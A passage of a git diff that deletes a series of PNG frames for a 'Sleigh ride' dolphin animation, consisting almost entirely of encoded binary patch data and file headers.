z2>oE=KE|`+Jx|ZPA$a!-Q8_>K;lTjN=32@}-t)E7!4;^;{U$?uB!OOng?j!fBiN~w zT{*-R4DE>l&`jH__wE69oswN)gDsqutkQkC^9p|6pFI^slx$rL(XdoG0=~KtoB_H= zcc}q21P$KB5N)H?@yXD!XPtHEqxJv22IBa$D!G!hD`N^P99Rh?ug`=ct*yjl)?Yt; z6V%&4u`zI05DgjDVNT{S%1T_3T&9Y5V<0gEXz-H7*(S3A+HIsYmNvdM7wdD^_4hj= z!~idy6-J0AkVvfOUL6ew(mcKP-+&MUa7c`hy_}HxNeaunnIQKC-AwQfIF6&n034A^ zBQ!o|Uqd_Od@>VEM=CJ@g|@-boIuM3s?c(mZ(;)Jt*DIwyn6yl55+(s%j?TVepz z)1&PWP>+}D=ns9CJaQV03CS=Dxbf_RM4vA zNDhE{aFsqa#qij#F@Yo#0cWvF$#aQnXj$UnQ3mJ)>VZ7IYv64>*_Ki)MMc@m`s^9z zR%Ig$up5!hLh=vpk^DJti+HwIZ+)I)Y2}&9U(Nt@L-_Af9SVv=UjHC6Cri zYxrmeki3rrQ9jKNsJBUdHKj>&K{kob5%GMjf5!M$m*$^@tpw`vk_SogTzam_p@b=L@7LMcf^63gn%#?IL zxr4MaKm?pEBn6;yG;~itvUyi2wS9oX+DZeMli+bvn{bExEKKSj?OhY zPUk2HE%?VXUY;DwCFU?W>gj!~otz>1WZc!xHjXn#6BMTSMP%+qCL zXD~qMiy>NQK;k{R0hL%CmBH5$F$5`D>j*V-9+zYQ57CW~6cFjF(LOS!HBZ!-JDAYI b4o3I~m)4F_96F#z00000NkvXXu0mjf;*=8M diff --git a/assets/dolphin/external/L1_Sleigh_ride_128x64/frame_17.png b/assets/dolphin/external/L1_Sleigh_ride_128x64/frame_17.png deleted file mode 100644 index 971e8f55b5c36b7f5e24c68d4adcd62512986417..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1503 zcmV<51t9u~P)jd3cN7lpBDK~TTc%nL2xyv)oMky*1pDDh#Ld! zR{rk!BY4vG;xfQb!#6O@Nq83~QyCz`2v3TLD)bnChaUehz;#`*#NiD*`;#!jHh&m^ z4rG;CPu+dAd@@7f+IrV`wbojXQ2~4=(8l~SNG*mLAR76+%s34d@W~Om10w;I$^oqU ztbxBQa0XI2fK{*U^W4y1!=Hr<02;vGsO6FFJ$Fxjs589F8NLEP9|l>G?mg2Ik$pZ1 zt7JPN7rNyD0KbCGW`dKQ;K`r?{Nfc@Im!g1r-f2C2O@&zC9Y z;bm3QD9oG=vZo2@HfzSc0j`J6_vtJX{xlHao+C*0GfxvEOt9*1;@wUVCIfKr905R% zY_DE>rX^zJGYBd-A5VII^3hhq1?)?qsm{)+A@i3H}G--ZN45%iSV5a0B|?3wl`;@hAO^i(HWT| z^&{(AYU~{h5TV3~@o9dL%>}Xy;I;E|3@)Rzhg03`EdRNhpM+?{^T^`w@cm3B(K#jK z@n@}nWP5rX1MtOD1<-n}AGXInQrp=|LK%1&HLA4c6O7;5f*gQCiVXfgLaMjMrTsFI zEy<$N#{mYVz=M>0S(!nO7u8$_Id_KO&ux0m`$bD!W0 z+ZiBA%cEmUiqDJ@VUFFApDELF&vbyue%7-MSp73j5SeFpq|YvweHfJ80{A!@ysaUM z9{N17)bwC7Ky)wUii-4+q9!s=6jsE0b7^bYZN#3kSN;pw4?{c()jZ8o@(h~JjF*w& z9hm@S)z)J5zg+}zkBZcLeIkk5ccI4KoVU_MTph_T}DB6~o(RoZ=Kl;5w4t_c-f6I$#!buo3ha zpDSZFs1snh(&*9}dm{c;wgT-@C*TfY)zLP5QPy0Mc6?k3BTJ9&u|0cv<+xtC-2o&e zWJS^p9dV{g_UbiuMApjr(+m)aI?aF)29U;z&gIE9I#*_#462!98Ut_x;$#`cWF5e2 z%NNlrmp4x@X6GiA#&1oy2e8oE{Y#nI{!-uT(tiNL+i1zqh+LIGS$-nyivQ$2Qw}A5 z*&M*y*QIBxFI@;#npLm0iM;br%>ddQ05wS`j#HHghQ1ZdDVGao)obI8)bsgAQDGnp ze5=BDEB1J=41X=03ZzBeifGbgLpiuy(Z00(3P<2HjwPr0*=6c?0owkH0`CBilxPwr zIcr5y8G*$J{CRdc<@*3!fisw4bj(Qq*^VI1vnukt7$CC{X<>*R+e8m`F~UkGD06@a zrP8*v{&cL8Q_2yhmz7(9XIO2|>k(mO3)q#cX0akC_zyu3=q+V8lFR@A002ovPDHLk FV1g}Xz1si) diff --git a/assets/dolphin/external/L1_Sleigh_ride_128x64/frame_18.png b/assets/dolphin/external/L1_Sleigh_ride_128x64/frame_18.png deleted file mode 100644 index 4026dc37364f9ff38c20c0ece6b94777fa4c8810..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1663 zcmV-_27vjAP)Fbt%F{{Jtl4+Xaj!(*t+$7X=QYg-a29wSO= zdJs`-tr6om4*KHv;3b_;MATX%{p^l-!W?$s#Toy!%zxT^dVnOs(UMlX4cS`zI&ULB z7~pK1s8$|YR!U)^E zF@PK>x>h6g?5*XK8H(rDJIAB7)_R;ulrw=h=9fX{VweHY%-7dS&`1TJoRMc>B%w+* zfcM^dj*Rui`6$%@-h0c@+*UjK>-cNoAfiU}PRrV<(S4NZcXjq%_V6?CM`kMjUAcO= z^Oka#PFD!Dj~al8-0ZgQWqYq3q{syW;i-6A%B`bd=~#pbxGneX*&SFx^u>CF-vyvs zH|?wn^=ECrfv^^@=%qZtL(T)x%;!GdmQsFZf@Mm5fBTsP{B0mnp0!9;duIlWRXd7Z z1?d$EI~1)o`cv&dl-CFz&;z3tneWNd3^pqJF3x9^7~rFGVHc1+iwuXfiTYJ>Hz)R@ zwHDU^$N>7p4>ca@e12c~F2SoU(EHy|7w{a10zeL?w}jH5*-2tmY5lj=M(d#4SMQ&S zDFMLHfq-N-I;I}i+I{FY(RUl34o_wRlNm>9fDG2LvBwe`l@rJ6F?G*8?hfnFj%YFi zL_&!^mx7GOWu{wgkrT>l=11oocY|ie5(A(obqG8ruf>j6Tk8bbP0g?03-9Yb^j;Kao)bconzR&VpQ{dklfFfozLp{zz?*)dZfr9*kx;ZE z7@x;G&3Hi#;MF9IUC!4w*E%gd36z)}XOd#kjGfIG)tUndmYvQgqW`}Q^bFjKY@M71 zgju}I)4FAuKa)|k%~v~L>i;&Ef9?FqA_n!^tPX(cm^+t^UZ+`@k@@nOY#S~CmQviA zKat`Hdio#7`%y3osdF`BcLV{;@oa=FZ+eW(PA~2#KiXKCQG0`+*ZHhlFM2X+HzTl~ z@+$S0^RR5`CCNunTl{aWPu?K9kER)~y_SPGG>hhpM!oSWPKo;UjytkkAkQQFb#DVJ zPK_e58U&s!6pge$tg)mXa_!=_DD6i&@pw{BM!#n}cZTzcDE?uHN8Oo0EdxhmWjc8BP=-NumE*~A z?{G!zU?Kb`VHq7~5ob}R1QHNd8{`=>hYT|KuHfXz`KYZlNFy zHA~6S=wXrGK4)aQoM&cdOLyI`YYE64X;D8@sct)xvAyGX0g3eAxhzDwS&5*7WoZo{ zm68V0?{)y0Xv8`ZqgYrG1X4aq`+8219o(9rX9@6tP!PjgE)W@BaTB3e9-@zw(L?7_ zzY+Oz9BX;7?w9>Iw3-XBERPs2P!jB0`R?<|Hn0*1S-TNA6^E{L{*0iv#^W&~=cCDx+Op>y0G;@#f$l=* zs{+9*2t8RI8+Z)aTJgV%jf6+-dJSatzapKF&NCaYXI!)n_zPhwl15tgi)R1;002ov JPDHLkV1gE38lnII diff --git a/assets/dolphin/external/L1_Sleigh_ride_128x64/frame_19.png b/assets/dolphin/external/L1_Sleigh_ride_128x64/frame_19.png deleted file mode 100644 index b8cfa50ce63ac29e44091e6a3257d7fa093d7e81..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1661 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 JPDHLkV1f!6*p~nR diff --git a/assets/dolphin/external/L1_Sleigh_ride_128x64/frame_21.png b/assets/dolphin/external/L1_Sleigh_ride_128x64/frame_21.png deleted file mode 100644 index d0e44937c1dc542699af72070b551bd9e9017462..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1542 zcmV+h2Ko7kP)bG@H6lRj=2)NJ9B%jhyW{`3I8MgXhfa5rPjf1f{ZT=my z;jXB#%?AU}g{BU!9f)H(ndQYAgn9t$KJECA;|Mts$4BSAsN(>D0q{xPJacF7)x{l*!e!6K z?!aB1;XCj}vlg#B(`WDL6=4|=Gd*%nu(Olj<@_r=o&4$n0Q4FjWdiBGHs`No+!a6* z_?zDV_zZ-urvqG93J5COgEv@ep!PGr3y?Z{ZJfpoJTPYSX5c~kqJ}T)ChzREtJNcD z;6b7tD)GMzV@T`q{ry$AzYPSK)3wF~GlrN!V~z+5?0V9;(-XuP!)5?!0&cK_3A~1? zo)1`M##`pRxQp`~<#{OZ1*jxh#&SL&+wseyuLoc9Z*s9us>?<4J< zXgrG_-&yAXQCRb>GX`m%<$x9S-y`=)5CfnK+=$#^8tY^pJ3YtJl0Ke$+L*gSvip(% zpwNsbJq37G$$mG%$9fp=$<7C0CxKn4&~v7-)DD_7c@Y_W&Yj@u$ySwsYL_0FYn?Vm zVKLGjg1~b;|6x0C07M(a*@5Gnyyos~YX zbn6jlOaqYrk!n_MSDC0}xR?F`0t{eA(aH5ulkI6TD_1JFqY@n?9lNPpb7Ib zK*eYg$9v^WjTYFa=V_+f*^wY9_W;$b&&=n20sr&Ji)8lfzV#kJuHkq+)A;~R2SF>c zN*fcAHkIJ6~Q)C@)hFbHo>vjhN|D5YZkz#Cux&&y{vNJfiEN|JcYG|ZZpY3dKFj#2&MUZBo)yS3> z)UO&0SG{`C_I0piNHjElewDI;K*pjvUcq_Uo*?RcfF=g8>Wx;LvzfaJT;D4=HR61_ z2ZSdeS{Q)SDZeKL$61UpGs@i1mclJ_uYJDuvq_c61f6f{fzFMujRm7;<*$5(3_A1~=7$(`X0MzHkMSd{MB zW3T1^8AO!F>LA^@`TRzKif zOS(_dz5S@pne}JR=ek(-I6VLmQZtxs+GgxRv2y#F@{ph14Vke#N4usjBJV8R|W%Ry$03c>`-nor4 z8G*mgI6o2$w+R5mj!vG-+Q|sshLFznIA8s|D*$#G>kM42N3e8?K0UQFz>@=E7c@qo s@MO8wEaGRUd>i<}2Df3xmfk+#A2tH&C4KmzjQ{`u07*qoM6N<$f}r2zivR!s diff --git a/assets/dolphin/external/L1_Sleigh_ride_128x64/frame_22.png b/assets/dolphin/external/L1_Sleigh_ride_128x64/frame_22.png deleted file mode 100644 index fd800b8b936fe6d4b2dad012c12f0ddb54903236..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1736 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 Tw_x!v00000NkvXXu0mjf>uC`M diff --git a/assets/dolphin/external/L1_Sleigh_ride_128x64/frame_24.png b/assets/dolphin/external/L1_Sleigh_ride_128x64/frame_24.png deleted file mode 100644 index 05c5e969d7c10cb70d949d7d28c0fdf9b2c51c1e..0000000000000000000000000000000000000000 GIT binary patch literal 0 HcmV?d00001 literal 1628 zcmV-i2BZ0jP)e#l8e)t}|xbcaIT5BZB?uaMoumZ0h@lT8Vr|DBcBnYbg~R+*)g`VpJlX31nZg{~v?Q#V`XzBVS&T(`aQ}z$ZuK85jwu zR1RR(cOk6$9}8R$sT{zn_Z+8R``-`Oz(z!kh<4GLxwp#ixU;y+9)1S?UItl_?%ktu zUKT;$DO@2xSY`Z6=qhsnqW^-8FhR%NqW>Gf1NAK{h&~;GM|Sq=A(B7Hwm*#HgQcx^ z0ntd-n89O+ECv3YU_RbfC1-?L3=mm1j)Jy)eY0bQ-v$!Z_WEAVP+^0kUbM_`ggfmZ zT5CB6=orZnWIx%%p-R+dx47SevIBHP4}p*aL@3xhYw(O!enIjjPS9GTSLH!@n#WK0 z&}m=A_-LFibj9%U8SDNE`}3pGbu^Pegvk4XK7ePaXryKH1bH}xo<;ZH68Rh{2k@em z=yPIcXW6J9&naYNTWkJVyOUKwPW~p!t>vhF=ExTr1PL02H@3I*MDv%sgX{4zC&a!P zWbM&M4|FW2fr1&6E+e_(fDz`%o@`zXk=@vC7Z5$~_v*CvT(JJXte559xYd(IO+Kx! zJ2*k)aE|M?%K@w-+$bW+AIc9Z)X%S@he{(SoM$2+2iLi2q(M%tWBl8JMUQ5mqSo1TAs*$sd_~HZdKTD{L0=#ct=RvYgFGEy}l=Tc< zjeNvFNRA3dBiv&|I1kOJjYd#pN$}cQGIUruN7UmZ<42swVj7SAIF2xO#tB}YfHP5v zjtDF9zCGj1|09v@)m!&mmRW20Oa?HMz{+}tsQYNhXtNZqPM&2vuU}r@Wa30W3; z8;I6otxc5ry#6xJddq}tUzx;g4xrVK$Wf8oTB?YG=KxwXXda$%f{O7o2A9uNBG+qI zVHEDTD~ylkqqP?Mi5RrbO3%`OoCO)i6PUM+7(L=xE7#x(U03ClbA$r3w+($FNIHQW zKz6FJf%ObmHUn+qGR_oQVm{WSrm%SFW>V z11kXK{Dwagh6b}HziJrEvEd(MW&fdaFuHWX$R=a6V%|kROr#OI|IDYR5dR0h$u3&6L z_sGzhpeubf%tCAX{ke38Rr$dTbbW}EqUnt2}eC;Q?snPD{p z>;wRjuSJWcAVS38M>E1~Wah?W)on|>4n7)ESnWOoYf`K>vrt(cqRR)WFUd%>|EbtB z5%F47Z&AFq_O8--#*XI*;}a47W{}n4s_k3U5jbYFJrW}cqt$LmCbR@ZjC=)0SV`wI z5!ET;B>cIG{-IwAy_zFjC89@xj4kgg#?LrI_(P#xsF5}^@D$^7pu?Qm#-DN!lyL;F z-4ig|=`(A7G#PetsmeAms`x5aI2%Vff|d|!V`*%l?T}h)V;>2NwtKoG%+^!(SLrvJ a2mAw+lNpPBDxqfp0000(^U_4#5#o7iWbZG?H zbFNZKt+keh>$=LXp{@TH*Z!i;FXf*x_`4HZ{{ zf?v$SSwNEDivf0L&Pw@Gupt5Xq#(U2xSHL8F$3DtGuB#bJ;G)x14J0%#Eh_X&R9>6 z^LN_&3xV>#*=D^T^VV~)eLw7dyE8Ws0OgUTMm}St~eydrY>U4^$lu}EvjpRLh@3n8M3@l|e&w33{4}uppNNah< zde5|#K>N_2Rgh#M&Yz7t)E8ehKq=o@Lcd3uA!6j&LD79wdKe3QB(QW9OannGkdU^` zv+GukV?>Xq1ptNlZvp7hO=1FMoF_92cL~BfLM#G5IxuHOn82D>laqZFowd(CIso{Q z2RZ*Dr+~;!+YF}2F0xRWCk4yLRj`)5-o*%76MP9bj+3K6i_u8Xp5#~*Y7HPcxc$!i zAz2=|9gJkIcEm$bgbrhe#-bM*AV=ds?M zP$x*+FK@rL0OUxd(XKT{f_Bo-^g-s+obPQ5UeItEcLh?2)AoH4WC5v?dv5ZiIlVgv zZNbv-qtNb0?uMw-KiUEWK*NmlwB|IFZf7~4&M&dz?qC>lI%)sVMa_U`DD4yw(Px(P zz4=xJLYA||Qvgz-d+@e}$UhIA90A{>sSLys(pEs}moh>x+j!Y-ebbnrf!lUVruWtWodEcH+0QaE{Z93`L;J1)A{mVs%bTm$8Jt1rH%TV17kEo`v2>QcqfV99 zdk5#&D%=EWj^Pna`?v43?+$2A(%@yaHa}l$)aXt29T?%o7s#m=F&Z5s^^Y)177J-i z!TWNG_cGmL8r0~Lt{Ov44}$7g$;uLm)_7lTAnlos?`4pT@iZVbeI+?OKt@{>sSIEV zv1pIJr>({$7R|QrQM5TnwjU(Z+c!zi%*>>6_?kTCNMiskOFaW<2Gp{PE6)3S7zrq8 zoR{s=oDy5iY^hx2z1D`e0KQ-^TP3G^4&#Q5qK84OK=CKnAll*v-F5;Uw6y!tqi~+We9&iGPlM67Djcjf*W;qk6bRl&2dWx(3F-kR(g-l zIby_7Gw|T{kiAVD!2ldtfiUX8%;I!bjYH?pa(=Cy|8;N{YL)+(M0-C2na(fezwT83 zwua2M>3mcT;K5@A?OS9CTEW#jUqt38OEshxf_Dml2FYMr5f!c6t>E(J97T^4qy3L& z01m0bmYyR(P71S4Vll!Br{A6dI6MlqwhpVnw6cH3R=^=Sn?KKPj|hMUG!Q68`ey9i z2zXE~ZL=#!PMdY%@q-`H# zjK-k%-nd)6cdq+`o8l$i7-O)`7UJb{xQm{<@oG)a>bqwAUG=VnCkaFbzyhc-&&;kT zbL-$qf*0)dT4(P5S&q6x=6+L>4{f2;v_6VCtvWJ(({l^)N;) zGAwK!134$cgpsJD+s1=BWD?4K3Xs4BiFED3^}sTK_n6arKWr18cLxvsUkkmpc6c8Y zq4wxDz>U8me(7ZM;xbu-bOf|A{Z34q)C8Z{l>`UI=e`eM zu>qxi`lL{5XOz4$Q+xy10C?XF6oXbB;r)Wi^CgtE_y_>$U4ZAIj+Xfv<#T-`mdQYp z|H}b(coGPhdC;TDuw;235@j6aSxZ%r-6^1YYwci}s^Tp2>e$N0Of5m@wzjJ~Ij;im z=KxyqR&mz%27okv2GcJ{ekcgu3~=VLObdccfJI(Lc{2akm|%>dp8_~U_G=H5WNHo1 zL#uCmQdxobbDu^Y1y>^b+L)6U=}&d=99h4a3D_;ZofrVEeL4VNqkTMbq*#39NeRs<|!I`=U-ld9#l{0kH^sQcz#a5D*~@I;{5k1AbVEN 